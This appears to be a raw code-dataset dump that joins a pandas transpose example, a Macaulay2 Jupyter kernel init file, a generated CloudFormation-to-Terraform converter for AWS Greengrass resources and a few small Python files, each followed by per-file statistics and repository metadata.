df_mix.transpose() print(df_mix_transpose) # A B C # col_int 0.0 1.0 2.0 # col_float 0.1 0.2 0.3 df_mix.at['A', 'col_int'] = 100 print(df_mix) # col_int col_float # A 100 0.1 # B 1 0.2 # C 2 0.3 print(df_mix_T) # A B C # col_int 0.0 1.0 2.0 # col_float 0.1 0.2 0.3 print(df_mix_transpose) # A B C # col_int 0.0 1.0 2.0 # col_float 0.1 0.2 0.3 df = pd.DataFrame({'X': [0, 1, 2], 'Y': [3, 4, 5]}, index=['A', 'B', 'C']) print(df) # X Y # A 0 3 # B 1 4 # C 2 5 df_T_copy = df.T.copy() print(df_T_copy) # A B C # X 0 1 2 # Y 3 4 5 df_transpose_copy = df.transpose(copy=True) print(df_transpose_copy) # A B C # X 0 1 2 # Y 3 4 5 df.at['A', 'X'] = 100 print(df) # X Y # A 100 3 # B 1 4 # C 2 5 print(df_T_copy) # A B C # X 0 1 2 # Y 3 4 5 print(df_transpose_copy) # A B C # X 0 1 2 # Y 3 4 5
17.530702
104
0.46685
810
3,997
2.18642
0.044444
0.042914
0.045737
0.036138
0.852626
0.800113
0.77188
0.668549
0.654433
0.654433
0
0.137414
0.382787
3,997
227
105
17.60793
0.580462
0.530398
0
0.561404
0
0
0.056864
0
0
0
0
0
0
1
0
false
0
0.017544
0
0.017544
0.666667
0
0
0
null
0
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
6b804dcf695d7c4c329fc59c86e4374760e6f0c8
118
py
Python
m2_kernel/__init__.py
MWhybrow92/Macaulay2-Jupyter-Kernel
106b06e9558663e238cd3b9e8f750ecc0b7d57b2
[ "MIT" ]
5
2018-09-07T13:04:37.000Z
2019-12-22T13:21:11.000Z
m2_kernel/__init__.py
MWhybrow92/Macaulay2-Jupyter-Kernel
106b06e9558663e238cd3b9e8f750ecc0b7d57b2
[ "MIT" ]
5
2019-02-03T18:36:57.000Z
2020-01-23T03:51:46.000Z
m2_kernel/__init__.py
MWhybrow92/Macaulay2-Jupyter-Kernel
106b06e9558663e238cd3b9e8f750ecc0b7d57b2
[ "MIT" ]
2
2020-01-22T15:17:52.000Z
2021-03-10T12:17:12.000Z
""" Macaulay2 Kernel for Jupyter """ __version__ = '0.6.7' from .kernel import M2Kernel from .kernel import M2Interp
16.857143
32
0.737288
16
118
5.1875
0.75
0.240964
0.385542
0
0
0
0
0
0
0
0
0.06
0.152542
118
7
33
16.857143
0.77
0.237288
0
0
0
0
0.060241
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
6baa0fc038b4b9377c3e80a77c696d0e06ea8b56
29,375
py
Python
src/generated-spec/greengrass.py
wheerd/cloudformation-to-terraform
5411b33293e1f7d7673bb5d4cb52ff0537240db3
[ "MIT" ]
null
null
null
src/generated-spec/greengrass.py
wheerd/cloudformation-to-terraform
5411b33293e1f7d7673bb5d4cb52ff0537240db3
[ "MIT" ]
null
null
null
src/generated-spec/greengrass.py
wheerd/cloudformation-to-terraform
5411b33293e1f7d7673bb5d4cb52ff0537240db3
[ "MIT" ]
null
null
null
from . import * class AWS_Greengrass_CoreDefinition_Core(CloudFormationProperty): def write(self, w): with w.block("core"): self.property(w, "SyncShadow", "sync_shadow", BasicValueConverter()) self.property(w, "ThingArn", "thing_arn", StringValueConverter()) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "CertificateArn", "certificate_arn", StringValueConverter()) class AWS_Greengrass_CoreDefinitionVersion_Core(CloudFormationProperty): def write(self, w): with w.block("core"): self.property(w, "SyncShadow", "sync_shadow", BasicValueConverter()) self.property(w, "ThingArn", "thing_arn", StringValueConverter()) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "CertificateArn", "certificate_arn", StringValueConverter()) class AWS_Greengrass_LoggerDefinitionVersion_Logger(CloudFormationProperty): def write(self, w): with w.block("logger"): self.property(w, "Space", "space", BasicValueConverter()) self.property(w, "Type", "type", StringValueConverter()) self.property(w, "Level", "level", StringValueConverter()) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "Component", "component", StringValueConverter()) class AWS_Greengrass_FunctionDefinitionVersion_RunAs(CloudFormationProperty): def write(self, w): with w.block("run_as"): self.property(w, "Uid", "uid", BasicValueConverter()) self.property(w, "Gid", "gid", BasicValueConverter()) class AWS_Greengrass_ResourceDefinition_SecretsManagerSecretResourceData(CloudFormationProperty): def write(self, w): with w.block("secrets_manager_secret_resource_data"): self.property(w, "ARN", "arn", StringValueConverter()) self.property(w, "AdditionalStagingLabelsToDownload", "additional_staging_labels_to_download", ListValueConverter(StringValueConverter())) class AWS_Greengrass_ResourceDefinitionVersion_ResourceDownloadOwnerSetting(CloudFormationProperty): def write(self, w): with w.block("resource_download_owner_setting"): self.property(w, "GroupOwner", "group_owner", StringValueConverter()) self.property(w, "GroupPermission", "group_permission", StringValueConverter()) class AWS_Greengrass_FunctionDefinition_RunAs(CloudFormationProperty): def write(self, w): with w.block("run_as"): self.property(w, "Uid", "uid", BasicValueConverter()) self.property(w, "Gid", "gid", BasicValueConverter()) class AWS_Greengrass_DeviceDefinitionVersion_Device(CloudFormationProperty): def write(self, w): with w.block("device"): self.property(w, "SyncShadow", "sync_shadow", BasicValueConverter()) self.property(w, "ThingArn", "thing_arn", StringValueConverter()) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "CertificateArn", "certificate_arn", StringValueConverter()) class AWS_Greengrass_ResourceDefinition_ResourceDownloadOwnerSetting(CloudFormationProperty): def write(self, w): with w.block("resource_download_owner_setting"): self.property(w, "GroupOwner", "group_owner", StringValueConverter()) self.property(w, "GroupPermission", "group_permission", StringValueConverter()) class AWS_Greengrass_ResourceDefinition_GroupOwnerSetting(CloudFormationProperty): def write(self, w): with w.block("group_owner_setting"): self.property(w, "AutoAddGroupOwner", "auto_add_group_owner", BasicValueConverter()) self.property(w, "GroupOwner", "group_owner", StringValueConverter()) class AWS_Greengrass_Group_GroupVersion(CloudFormationProperty): def write(self, w): with w.block("group_version"): self.property(w, "LoggerDefinitionVersionArn", "logger_definition_version_arn", StringValueConverter()) self.property(w, "DeviceDefinitionVersionArn", "device_definition_version_arn", StringValueConverter()) self.property(w, "FunctionDefinitionVersionArn", "function_definition_version_arn", StringValueConverter()) self.property(w, "CoreDefinitionVersionArn", "core_definition_version_arn", StringValueConverter()) self.property(w, "ResourceDefinitionVersionArn", "resource_definition_version_arn", StringValueConverter()) self.property(w, "ConnectorDefinitionVersionArn", "connector_definition_version_arn", StringValueConverter()) self.property(w, "SubscriptionDefinitionVersionArn", "subscription_definition_version_arn", StringValueConverter()) class AWS_Greengrass_ResourceDefinition_LocalDeviceResourceData(CloudFormationProperty): def write(self, w): with w.block("local_device_resource_data"): self.property(w, "SourcePath", "source_path", StringValueConverter()) self.block(w, "GroupOwnerSetting", AWS_Greengrass_ResourceDefinition_GroupOwnerSetting) class AWS_Greengrass_DeviceDefinition_Device(CloudFormationProperty): def write(self, w): with w.block("device"): self.property(w, "SyncShadow", "sync_shadow", BasicValueConverter()) self.property(w, "ThingArn", "thing_arn", StringValueConverter()) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "CertificateArn", "certificate_arn", StringValueConverter()) class AWS_Greengrass_DeviceDefinition_DeviceDefinitionVersion(CloudFormationProperty): def write(self, w): with w.block("device_definition_version"): self.repeated_block(w, "Devices", AWS_Greengrass_DeviceDefinition_Device) class AWS_Greengrass_SubscriptionDefinition_Subscription(CloudFormationProperty): def write(self, w): with w.block("subscription"): self.property(w, "Target", "target", StringValueConverter()) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "Source", "source", StringValueConverter()) self.property(w, "Subject", "subject", StringValueConverter()) class AWS_Greengrass_LoggerDefinition_Logger(CloudFormationProperty): def write(self, w): with w.block("logger"): self.property(w, "Space", "space", BasicValueConverter()) self.property(w, "Type", "type", StringValueConverter()) self.property(w, "Level", "level", StringValueConverter()) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "Component", "component", StringValueConverter()) class AWS_Greengrass_CoreDefinition_CoreDefinitionVersion(CloudFormationProperty): def write(self, w): with w.block("core_definition_version"): self.repeated_block(w, "Cores", AWS_Greengrass_CoreDefinition_Core) class AWS_Greengrass_ResourceDefinitionVersion_S3MachineLearningModelResourceData(CloudFormationProperty): def write(self, w): with w.block("s3_machine_learning_model_resource_data"): self.block(w, "OwnerSetting", AWS_Greengrass_ResourceDefinitionVersion_ResourceDownloadOwnerSetting) self.property(w, "DestinationPath", "destination_path", StringValueConverter()) self.property(w, "S3Uri", "s3_uri", StringValueConverter()) class AWS_Greengrass_ResourceDefinition_LocalVolumeResourceData(CloudFormationProperty): def write(self, w): with w.block("local_volume_resource_data"): self.property(w, "SourcePath", "source_path", StringValueConverter()) self.property(w, "DestinationPath", "destination_path", StringValueConverter()) self.block(w, "GroupOwnerSetting", AWS_Greengrass_ResourceDefinition_GroupOwnerSetting) class AWS_Greengrass_FunctionDefinition_ResourceAccessPolicy(CloudFormationProperty): def write(self, w): with w.block("resource_access_policy"): self.property(w, "ResourceId", "resource_id", StringValueConverter()) self.property(w, "Permission", "permission", StringValueConverter()) class AWS_Greengrass_ResourceDefinitionVersion_GroupOwnerSetting(CloudFormationProperty): def write(self, w): with w.block("group_owner_setting"): self.property(w, "AutoAddGroupOwner", "auto_add_group_owner", BasicValueConverter()) self.property(w, "GroupOwner", "group_owner", StringValueConverter()) class AWS_Greengrass_ConnectorDefinition_Connector(CloudFormationProperty): def write(self, w): with w.block("connector"): self.property(w, "ConnectorArn", "connector_arn", StringValueConverter()) self.property(w, "Parameters", "parameters", JsonValueConverter()) self.property(w, "Id", "id", StringValueConverter()) class AWS_Greengrass_FunctionDefinitionVersion_ResourceAccessPolicy(CloudFormationProperty): def write(self, w): with w.block("resource_access_policy"): self.property(w, "ResourceId", "resource_id", StringValueConverter()) self.property(w, "Permission", "permission", StringValueConverter()) class AWS_Greengrass_ResourceDefinitionVersion_SecretsManagerSecretResourceData(CloudFormationProperty): def write(self, w): with w.block("secrets_manager_secret_resource_data"): self.property(w, "ARN", "arn", StringValueConverter()) self.property(w, "AdditionalStagingLabelsToDownload", "additional_staging_labels_to_download", ListValueConverter(StringValueConverter())) class AWS_Greengrass_LoggerDefinition_LoggerDefinitionVersion(CloudFormationProperty): def write(self, w): with w.block("logger_definition_version"): self.repeated_block(w, "Loggers", AWS_Greengrass_LoggerDefinition_Logger) class AWS_Greengrass_SubscriptionDefinitionVersion_Subscription(CloudFormationProperty): def write(self, w): with w.block("subscription"): self.property(w, "Target", "target", StringValueConverter()) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "Source", "source", StringValueConverter()) self.property(w, "Subject", "subject", StringValueConverter()) class AWS_Greengrass_ConnectorDefinitionVersion_Connector(CloudFormationProperty): def write(self, w): with w.block("connector"): self.property(w, "ConnectorArn", "connector_arn", StringValueConverter()) self.property(w, "Parameters", "parameters", JsonValueConverter()) self.property(w, "Id", "id", StringValueConverter()) class AWS_Greengrass_ConnectorDefinitionVersion(CloudFormationResource): cfn_type = "AWS::Greengrass::ConnectorDefinitionVersion" tf_type = "aws_greengrass_connector_definition_version" # TODO: Most likely not working ref = "arn" attrs = {} def write(self, w): with self.resource_block(w): self.repeated_block(w, "Connectors", AWS_Greengrass_ConnectorDefinitionVersion_Connector) self.property(w, "ConnectorDefinitionId", "connector_definition_id", StringValueConverter()) class AWS_Greengrass_DeviceDefinition(CloudFormationResource): cfn_type = "AWS::Greengrass::DeviceDefinition" tf_type = "aws_greengrass_device_definition" # TODO: Most likely not working ref = "id" attrs = { "LatestVersionArn": "latest_version_arn", "Id": "id", "Arn": "arn", "Name": "name", } def write(self, w): with self.resource_block(w): self.block(w, "InitialVersion", AWS_Greengrass_DeviceDefinition_DeviceDefinitionVersion) self.property(w, "Tags", "tags", JsonValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_LoggerDefinitionVersion(CloudFormationResource): cfn_type = "AWS::Greengrass::LoggerDefinitionVersion" tf_type = "aws_greengrass_logger_definition_version" # TODO: Most likely not working ref = "arn" attrs = {} def write(self, w): with self.resource_block(w): self.property(w, "LoggerDefinitionId", "logger_definition_id", StringValueConverter()) self.repeated_block(w, "Loggers", AWS_Greengrass_LoggerDefinitionVersion_Logger) class AWS_Greengrass_Group(CloudFormationResource): cfn_type = "AWS::Greengrass::Group" tf_type = "aws_greengrass_group" # TODO: Most likely not working ref = "id" attrs = { "RoleAttachedAt": "role_attached_at", "LatestVersionArn": "latest_version_arn", "Id": "id", "Arn": "arn", "RoleArn": "role_arn", "Name": "name", } def write(self, w): with self.resource_block(w): self.block(w, "InitialVersion", AWS_Greengrass_Group_GroupVersion) self.property(w, "RoleArn", "role_arn", StringValueConverter()) self.property(w, "Tags", "tags", JsonValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_SubscriptionDefinitionVersion(CloudFormationResource): cfn_type = "AWS::Greengrass::SubscriptionDefinitionVersion" tf_type = "aws_greengrass_subscription_definition_version" # TODO: Most likely not working ref = "arn" attrs = {} def write(self, w): with self.resource_block(w): self.property(w, "SubscriptionDefinitionId", "subscription_definition_id", StringValueConverter()) self.repeated_block(w, "Subscriptions", AWS_Greengrass_SubscriptionDefinitionVersion_Subscription) class AWS_Greengrass_CoreDefinitionVersion(CloudFormationResource): cfn_type = "AWS::Greengrass::CoreDefinitionVersion" tf_type = "aws_greengrass_core_definition_version" # TODO: Most likely not working ref = "arn" attrs = {} def write(self, w): with self.resource_block(w): self.repeated_block(w, "Cores", AWS_Greengrass_CoreDefinitionVersion_Core) self.property(w, "CoreDefinitionId", "core_definition_id", StringValueConverter()) class AWS_Greengrass_LoggerDefinition(CloudFormationResource): cfn_type = "AWS::Greengrass::LoggerDefinition" tf_type = "aws_greengrass_logger_definition" # TODO: Most likely not working ref = "id" attrs = { "LatestVersionArn": "latest_version_arn", "Id": "id", "Arn": "arn", "Name": "name", } def write(self, w): with self.resource_block(w): self.block(w, "InitialVersion", AWS_Greengrass_LoggerDefinition_LoggerDefinitionVersion) self.property(w, "Tags", "tags", JsonValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_CoreDefinition(CloudFormationResource): cfn_type = "AWS::Greengrass::CoreDefinition" tf_type = "aws_greengrass_core_definition" # TODO: Most likely not working ref = "id" attrs = { "LatestVersionArn": "latest_version_arn", "Id": "id", "Arn": "arn", "Name": "name", } def write(self, w): with self.resource_block(w): self.block(w, "InitialVersion", AWS_Greengrass_CoreDefinition_CoreDefinitionVersion) self.property(w, "Tags", "tags", JsonValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_DeviceDefinitionVersion(CloudFormationResource): cfn_type = "AWS::Greengrass::DeviceDefinitionVersion" tf_type = "aws_greengrass_device_definition_version" # TODO: Most likely not working ref = "arn" attrs = {} def write(self, w): with self.resource_block(w): self.property(w, "DeviceDefinitionId", "device_definition_id", StringValueConverter()) self.repeated_block(w, "Devices", AWS_Greengrass_DeviceDefinitionVersion_Device) class AWS_Greengrass_GroupVersion(CloudFormationResource): cfn_type = "AWS::Greengrass::GroupVersion" tf_type = "aws_greengrass_group_version" # TODO: Most likely not working ref = "arn" attrs = {} def write(self, w): with self.resource_block(w): self.property(w, "LoggerDefinitionVersionArn", "logger_definition_version_arn", StringValueConverter()) self.property(w, "DeviceDefinitionVersionArn", "device_definition_version_arn", StringValueConverter()) self.property(w, "FunctionDefinitionVersionArn", "function_definition_version_arn", StringValueConverter()) self.property(w, "CoreDefinitionVersionArn", "core_definition_version_arn", StringValueConverter()) self.property(w, "ResourceDefinitionVersionArn", "resource_definition_version_arn", StringValueConverter()) self.property(w, "ConnectorDefinitionVersionArn", "connector_definition_version_arn", StringValueConverter()) self.property(w, "SubscriptionDefinitionVersionArn", "subscription_definition_version_arn", StringValueConverter()) self.property(w, "GroupId", "group_id", StringValueConverter()) class AWS_Greengrass_FunctionDefinition_Execution(CloudFormationProperty): def write(self, w): with w.block("execution"): self.property(w, "IsolationMode", "isolation_mode", StringValueConverter()) self.block(w, "RunAs", AWS_Greengrass_FunctionDefinition_RunAs) class AWS_Greengrass_ResourceDefinition_SageMakerMachineLearningModelResourceData(CloudFormationProperty): def write(self, w): with w.block("sage_maker_machine_learning_model_resource_data"): self.block(w, "OwnerSetting", AWS_Greengrass_ResourceDefinition_ResourceDownloadOwnerSetting) self.property(w, "DestinationPath", "destination_path", StringValueConverter()) self.property(w, "SageMakerJobArn", "sage_maker_job_arn", StringValueConverter()) class AWS_Greengrass_FunctionDefinitionVersion_Execution(CloudFormationProperty): def write(self, w): with w.block("execution"): self.property(w, "IsolationMode", "isolation_mode", StringValueConverter()) self.block(w, "RunAs", AWS_Greengrass_FunctionDefinitionVersion_RunAs) class AWS_Greengrass_ResourceDefinition_S3MachineLearningModelResourceData(CloudFormationProperty): def write(self, w): with w.block("s3_machine_learning_model_resource_data"): self.block(w, "OwnerSetting", AWS_Greengrass_ResourceDefinition_ResourceDownloadOwnerSetting) self.property(w, "DestinationPath", "destination_path", StringValueConverter()) self.property(w, "S3Uri", "s3_uri", StringValueConverter()) class AWS_Greengrass_ResourceDefinitionVersion_SageMakerMachineLearningModelResourceData(CloudFormationProperty): def write(self, w): with w.block("sage_maker_machine_learning_model_resource_data"): self.block(w, "OwnerSetting", AWS_Greengrass_ResourceDefinitionVersion_ResourceDownloadOwnerSetting) self.property(w, "DestinationPath", "destination_path", StringValueConverter()) self.property(w, "SageMakerJobArn", "sage_maker_job_arn", StringValueConverter()) class AWS_Greengrass_FunctionDefinition_Environment(CloudFormationProperty): def write(self, w): with w.block("environment"): self.property(w, "Variables", "variables", JsonValueConverter()) self.block(w, "Execution", AWS_Greengrass_FunctionDefinition_Execution) self.repeated_block(w, "ResourceAccessPolicies", AWS_Greengrass_FunctionDefinition_ResourceAccessPolicy) self.property(w, "AccessSysfs", "access_sysfs", BasicValueConverter()) class AWS_Greengrass_SubscriptionDefinition_SubscriptionDefinitionVersion(CloudFormationProperty): def write(self, w): with w.block("subscription_definition_version"): self.repeated_block(w, "Subscriptions", AWS_Greengrass_SubscriptionDefinition_Subscription) class AWS_Greengrass_ResourceDefinitionVersion_LocalDeviceResourceData(CloudFormationProperty): def write(self, w): with w.block("local_device_resource_data"): self.property(w, "SourcePath", "source_path", StringValueConverter()) self.block(w, "GroupOwnerSetting", AWS_Greengrass_ResourceDefinitionVersion_GroupOwnerSetting) class AWS_Greengrass_FunctionDefinitionVersion_Environment(CloudFormationProperty): def write(self, w): with w.block("environment"): self.property(w, "Variables", "variables", JsonValueConverter()) self.block(w, "Execution", AWS_Greengrass_FunctionDefinitionVersion_Execution) self.repeated_block(w, "ResourceAccessPolicies", AWS_Greengrass_FunctionDefinitionVersion_ResourceAccessPolicy) self.property(w, "AccessSysfs", "access_sysfs", BasicValueConverter()) class AWS_Greengrass_FunctionDefinitionVersion_DefaultConfig(CloudFormationProperty): def write(self, w): with w.block("default_config"): self.block(w, "Execution", AWS_Greengrass_FunctionDefinitionVersion_Execution) class AWS_Greengrass_ConnectorDefinition_ConnectorDefinitionVersion(CloudFormationProperty): def write(self, w): with w.block("connector_definition_version"): self.repeated_block(w, "Connectors", AWS_Greengrass_ConnectorDefinition_Connector) class AWS_Greengrass_FunctionDefinition_DefaultConfig(CloudFormationProperty): def write(self, w): with w.block("default_config"): self.block(w, "Execution", AWS_Greengrass_FunctionDefinition_Execution) class AWS_Greengrass_ResourceDefinitionVersion_LocalVolumeResourceData(CloudFormationProperty): def write(self, w): with w.block("local_volume_resource_data"): self.property(w, "SourcePath", "source_path", StringValueConverter()) self.property(w, "DestinationPath", "destination_path", StringValueConverter()) self.block(w, "GroupOwnerSetting", AWS_Greengrass_ResourceDefinitionVersion_GroupOwnerSetting) class AWS_Greengrass_ResourceDefinitionVersion_ResourceDataContainer(CloudFormationProperty): def write(self, w): with w.block("resource_data_container"): self.block(w, "SecretsManagerSecretResourceData", AWS_Greengrass_ResourceDefinitionVersion_SecretsManagerSecretResourceData) self.block(w, "SageMakerMachineLearningModelResourceData", AWS_Greengrass_ResourceDefinitionVersion_SageMakerMachineLearningModelResourceData) self.block(w, "LocalVolumeResourceData", AWS_Greengrass_ResourceDefinitionVersion_LocalVolumeResourceData) self.block(w, "LocalDeviceResourceData", AWS_Greengrass_ResourceDefinitionVersion_LocalDeviceResourceData) self.block(w, "S3MachineLearningModelResourceData", AWS_Greengrass_ResourceDefinitionVersion_S3MachineLearningModelResourceData) class AWS_Greengrass_ResourceDefinition_ResourceDataContainer(CloudFormationProperty): def write(self, w): with w.block("resource_data_container"): self.block(w, "SecretsManagerSecretResourceData", AWS_Greengrass_ResourceDefinition_SecretsManagerSecretResourceData) self.block(w, "SageMakerMachineLearningModelResourceData", AWS_Greengrass_ResourceDefinition_SageMakerMachineLearningModelResourceData) self.block(w, "LocalVolumeResourceData", AWS_Greengrass_ResourceDefinition_LocalVolumeResourceData) self.block(w, "LocalDeviceResourceData", AWS_Greengrass_ResourceDefinition_LocalDeviceResourceData) self.block(w, "S3MachineLearningModelResourceData", AWS_Greengrass_ResourceDefinition_S3MachineLearningModelResourceData) class AWS_Greengrass_ConnectorDefinition(CloudFormationResource): cfn_type = "AWS::Greengrass::ConnectorDefinition" tf_type = "aws_greengrass_connector_definition" # TODO: Most likely not working ref = "id" attrs = { "LatestVersionArn": "latest_version_arn", "Id": "id", "Arn": "arn", "Name": "name", } def write(self, w): with self.resource_block(w): self.block(w, "InitialVersion", AWS_Greengrass_ConnectorDefinition_ConnectorDefinitionVersion) self.property(w, "Tags", "tags", JsonValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_SubscriptionDefinition(CloudFormationResource): cfn_type = "AWS::Greengrass::SubscriptionDefinition" tf_type = "aws_greengrass_subscription_definition" # TODO: Most likely not working ref = "id" attrs = { "LatestVersionArn": "latest_version_arn", "Id": "id", "Arn": "arn", "Name": "name", } def write(self, w): with self.resource_block(w): self.block(w, "InitialVersion", AWS_Greengrass_SubscriptionDefinition_SubscriptionDefinitionVersion) self.property(w, "Tags", "tags", JsonValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_FunctionDefinitionVersion_FunctionConfiguration(CloudFormationProperty): def write(self, w): with w.block("function_configuration"): self.property(w, "MemorySize", "memory_size", BasicValueConverter()) self.property(w, "Pinned", "pinned", BasicValueConverter()) self.property(w, "ExecArgs", "exec_args", StringValueConverter()) self.property(w, "Timeout", "timeout", BasicValueConverter()) self.property(w, "EncodingType", "encoding_type", StringValueConverter()) self.block(w, "Environment", AWS_Greengrass_FunctionDefinitionVersion_Environment) self.property(w, "Executable", "executable", StringValueConverter()) class AWS_Greengrass_ResourceDefinitionVersion_ResourceInstance(CloudFormationProperty): def write(self, w): with w.block("resource_instance"): self.block(w, "ResourceDataContainer", AWS_Greengrass_ResourceDefinitionVersion_ResourceDataContainer) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_FunctionDefinition_FunctionConfiguration(CloudFormationProperty): def write(self, w): with w.block("function_configuration"): self.property(w, "MemorySize", "memory_size", BasicValueConverter()) self.property(w, "Pinned", "pinned", BasicValueConverter()) self.property(w, "ExecArgs", "exec_args", StringValueConverter()) self.property(w, "Timeout", "timeout", BasicValueConverter()) self.property(w, "EncodingType", "encoding_type", StringValueConverter()) self.block(w, "Environment", AWS_Greengrass_FunctionDefinition_Environment) self.property(w, "Executable", "executable", StringValueConverter()) class AWS_Greengrass_FunctionDefinitionVersion_Function(CloudFormationProperty): def write(self, w): with w.block("function"): self.property(w, "FunctionArn", "function_arn", StringValueConverter()) self.block(w, "FunctionConfiguration", AWS_Greengrass_FunctionDefinitionVersion_FunctionConfiguration) self.property(w, "Id", "id", StringValueConverter()) class AWS_Greengrass_ResourceDefinition_ResourceInstance(CloudFormationProperty): def write(self, w): with w.block("resource_instance"): self.block(w, "ResourceDataContainer", AWS_Greengrass_ResourceDefinition_ResourceDataContainer) self.property(w, "Id", "id", StringValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_FunctionDefinition_Function(CloudFormationProperty): def write(self, w): with w.block("function"): self.property(w, "FunctionArn", "function_arn", StringValueConverter()) self.block(w, "FunctionConfiguration", AWS_Greengrass_FunctionDefinition_FunctionConfiguration) self.property(w, "Id", "id", StringValueConverter()) class AWS_Greengrass_FunctionDefinitionVersion(CloudFormationResource): cfn_type = "AWS::Greengrass::FunctionDefinitionVersion" tf_type = "aws_greengrass_function_definition_version" # TODO: Most likely not working ref = "arn" attrs = {} def write(self, w): with self.resource_block(w): self.block(w, "DefaultConfig", AWS_Greengrass_FunctionDefinitionVersion_DefaultConfig) self.repeated_block(w, "Functions", AWS_Greengrass_FunctionDefinitionVersion_Function) self.property(w, "FunctionDefinitionId", "function_definition_id", StringValueConverter()) class AWS_Greengrass_ResourceDefinitionVersion(CloudFormationResource): cfn_type = "AWS::Greengrass::ResourceDefinitionVersion" tf_type = "aws_greengrass_resource_definition_version" # TODO: Most likely not working ref = "arn" attrs = {} def write(self, w): with self.resource_block(w): self.repeated_block(w, "Resources", AWS_Greengrass_ResourceDefinitionVersion_ResourceInstance) self.property(w, "ResourceDefinitionId", "resource_definition_id", StringValueConverter()) class AWS_Greengrass_FunctionDefinition_FunctionDefinitionVersion(CloudFormationProperty): def write(self, w): with w.block("function_definition_version"): self.block(w, "DefaultConfig", AWS_Greengrass_FunctionDefinition_DefaultConfig) self.repeated_block(w, "Functions", AWS_Greengrass_FunctionDefinition_Function) class AWS_Greengrass_ResourceDefinition_ResourceDefinitionVersion(CloudFormationProperty): def write(self, w): with w.block("resource_definition_version"): self.repeated_block(w, "Resources", AWS_Greengrass_ResourceDefinition_ResourceInstance) class AWS_Greengrass_ResourceDefinition(CloudFormationResource): cfn_type = "AWS::Greengrass::ResourceDefinition" tf_type = "aws_greengrass_resource_definition" # TODO: Most likely not working ref = "id" attrs = { "LatestVersionArn": "latest_version_arn", "Id": "id", "Arn": "arn", "Name": "name", } def write(self, w): with self.resource_block(w): self.block(w, "InitialVersion", AWS_Greengrass_ResourceDefinition_ResourceDefinitionVersion) self.property(w, "Tags", "tags", JsonValueConverter()) self.property(w, "Name", "name", StringValueConverter()) class AWS_Greengrass_FunctionDefinition(CloudFormationResource): cfn_type = "AWS::Greengrass::FunctionDefinition" tf_type = "aws_greengrass_function_definition" # TODO: Most likely not working ref = "id" attrs = { "LatestVersionArn": "latest_version_arn", "Id": "id", "Arn": "arn", "Name": "name", } def write(self, w): with self.resource_block(w): self.block(w, "InitialVersion", AWS_Greengrass_FunctionDefinition_FunctionDefinitionVersion) self.property(w, "Tags", "tags", JsonValueConverter()) self.property(w, "Name", "name", StringValueConverter())
45.192308
148
0.763983
2,830
29,375
7.684806
0.065018
0.092054
0.083088
0.039452
0.86362
0.802878
0.763059
0.708203
0.689351
0.670131
0
0.000465
0.120817
29,375
649
149
45.261941
0.841632
0.016306
0
0.66
0
0
0.22904
0.117533
0
0
0
0.001541
0
1
0.132
false
0
0.002
0
0.394
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
6bd04e6210bab42e00786e94c7f68110258c221e
65
py
Python
runtests.py
seang097/signalz
0846e037b288e508a7648887874e3e07ef8cac73
[ "MIT" ]
9
2017-07-28T18:02:38.000Z
2022-01-02T07:53:26.000Z
runtests.py
seang097/signalz
0846e037b288e508a7648887874e3e07ef8cac73
[ "MIT" ]
1
2017-12-26T20:34:00.000Z
2017-12-29T11:02:05.000Z
runtests.py
seang097/signalz
0846e037b288e508a7648887874e3e07ef8cac73
[ "MIT" ]
2
2020-10-16T09:39:30.000Z
2021-11-22T21:40:32.000Z
import unittest from tests import TestFunctions unittest.main()
13
31
0.830769
8
65
6.75
0.75
0
0
0
0
0
0
0
0
0
0
0
0.123077
65
4
32
16.25
0.947368
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
6be1e2ca3ca550d573893f9a3f6516c403c83834
91
py
Python
Retired/Reversinator.py
mwk0408/codewars_solutions
9b4f502b5f159e68024d494e19a96a226acad5e5
[ "MIT" ]
6
2020-09-03T09:32:25.000Z
2020-12-07T04:10:01.000Z
Retired/Reversinator.py
mwk0408/codewars_solutions
9b4f502b5f159e68024d494e19a96a226acad5e5
[ "MIT" ]
1
2021-12-13T15:30:21.000Z
2021-12-13T15:30:21.000Z
Retired/Reversinator.py
mwk0408/codewars_solutions
9b4f502b5f159e68024d494e19a96a226acad5e5
[ "MIT" ]
null
null
null
def reversinator(s): return int(bin(int("".join(f"{ord(i)-96}" for i in s[::-1])))[2:])
45.5
70
0.56044
18
91
2.833333
0.833333
0
0
0
0
0
0
0
0
0
0
0.05
0.120879
91
2
70
45.5
0.5875
0
0
0
0
0
0.119565
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
d40b2b525598707eb9258e4e96275cf1da545295
94
py
Python
tests/reps/admin.py
cagerber/django-advanced-filters
48f17f38c4f96c90012daf5f178037dddeb7b1f4
